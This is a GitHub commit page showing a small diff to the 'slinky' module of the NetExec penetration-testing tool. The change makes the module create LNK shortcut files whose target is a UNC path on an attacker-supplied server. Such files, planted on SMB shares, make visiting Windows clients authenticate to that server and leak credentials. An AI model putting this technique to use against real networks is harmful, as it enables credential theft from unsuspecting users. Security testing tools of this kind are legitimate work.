Skip to content

Commit d5e6e6d

Browse files
authored
Use pylnk3.for_file() to set LNK target.
Signed-off-by: Geetub <17295502+Geetub@users.noreply.github.com>
1 parent 11d484b commit d5e6e6d

1 file changed

Lines changed: 2 additions & 3 deletions

File tree

nxc/modules/slinky.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -67,9 +67,8 @@ def options(self, context, module_options):
6767

6868
if not self.cleanup:
6969
self.server = module_options["SERVER"]
70-
link = pylnk3.create(self.local_lnk_path)
71-
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
72-
link.save()
70+
target_path = f"\\\\{self.server}\\share\\{self.lnk_name}.png"
71+
pylnk3.for_file(target_path, self.local_lnk_path)
7372

7473
def on_login(self, context, connection):
7574
shares = connection.shares()

0 commit comments

Comments
 (0)